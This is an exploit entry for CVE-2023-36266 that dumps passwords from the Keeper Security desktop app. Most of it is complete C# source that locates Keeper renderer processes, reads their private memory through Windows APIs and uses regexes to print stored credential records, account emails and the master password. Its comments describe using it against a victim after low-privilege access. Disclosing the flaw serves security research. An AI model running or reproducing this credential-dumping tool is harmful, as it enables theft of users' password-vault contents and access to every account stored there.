# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping # Google Dork: NA # Date: 22-07-2023 # Exploit Author: H4rk3nz0 # Vendor Homepage: https://www.keepersecurity.com/en_GB/ # Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html # Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4 # Tested on: Windows # CVE : CVE-2023-36266 using System; using System.Management; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Text.RegularExpressions; using System.Collections.Generic; // Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory // This can persist after logout if the user has not explicitly enabled the option to 'clear process memory' // As a result of this one can extract credentials & master password from a victim after achieving low priv access // This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app. // Github: https://github.com/H4rk3nz0/Peeper static class Program { // To make sure we are targetting the right child process - check command line public static string GetCommandLine(this Process process) { if (process is null || process.Id < 1) { return ""; } string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}"; using (var searcher = new ManagementObjectSearcher(query)) using (var collection = searcher.Get()) { var managementObject = collection.OfType<ManagementObject>().FirstOrDefault(); return managementObject != null ? (string)managementObject["CommandLine"] : ""; } } //Extract plain text credential JSON strings (regex inelegant but fast) public static void extract_credentials(string text) { int index = text.IndexOf("{\"title\":\""); int eindex = text.IndexOf("}"); while (index >= 0) { try { int endIndex = Math.Min(index + eindex, text.Length); Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))"); string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); int match_cut = match.IndexOf("} "); if (match_cut != -1 ) { match = match.Substring(0, match_cut + "} ".Length).TrimEnd(); if (!stringsList.Contains(match) && match.Length > 20) { Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n"); stringsList.Add(match); } } else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20) { Console.WriteLine("->Credential Record Found : " + match + "\n"); stringsList.Add(match.TrimEnd()); } index = text.IndexOf("{\"title\":\"", index + 1); eindex = text.IndexOf("}", eindex + 1); } catch { return; } } } // extract account/email containing JSON string public static void extract_account(string text) { int index = text.IndexOf("{\"expiry\""); int eindex = text.IndexOf("}"); while (index >= 0) { try { int endIndex = Math.Min(index + eindex, text.Length); Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)"); string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); if ((match.Length > 2)) { Console.WriteLine("->Account Record Found : " + match + "\n"); return; } index = text.IndexOf("{\"expiry\"", index + 1); eindex = text.IndexOf("}", eindex + 1); } catch { return; } } } // Master password not available with SSO based logins but worth looking for. // Disregard other data key entries that seem to match: _not_master_key_example public static void extract_master(string text) { int index = text.IndexOf("data_key"); int eindex = index + 64; while (index >= 0) { try { int endIndex = Math.Min(index + eindex, text.Length); Regex reg = new Regex("(data_key[ -~]+)"); var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})"); if (match_one.Replace("data_key", "").Length > 5) { if (!clean.IsMatch(match_one.Replace("data_key", ""))) { Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n"); } } index = text.IndexOf("data_key", index + 1); eindex = index + 64; } catch { return; } } } // Store extracted strings and comapre public static List<string> stringsList = new List<string>(); // Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8 // Performs OpenProcess to get handle with necessary query permissions static void Main(string[] args) { foreach (var process in Process.GetProcessesByName("keeperpasswordmanager")) { string commandline = GetCommandLine(process); if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7")) { Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString()); Console.WriteLine("->Searching...\n"); IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id); IntPtr address = new IntPtr(0x10000000000); MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION(); while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0) { if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000) { byte[] buffer = new byte[(int)memInfo.RegionSize]; if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0) { string text = Encoding.ASCII.GetString(buffer); extract_credentials(text); extract_master(text); extract_account(text); } } address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64()); } CloseHandle(processHandle); } } } [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr hObject); [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true)] public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public uint AllocationProtect; public IntPtr RegionSize; public uint State; public uint Protect; public uint Type; } }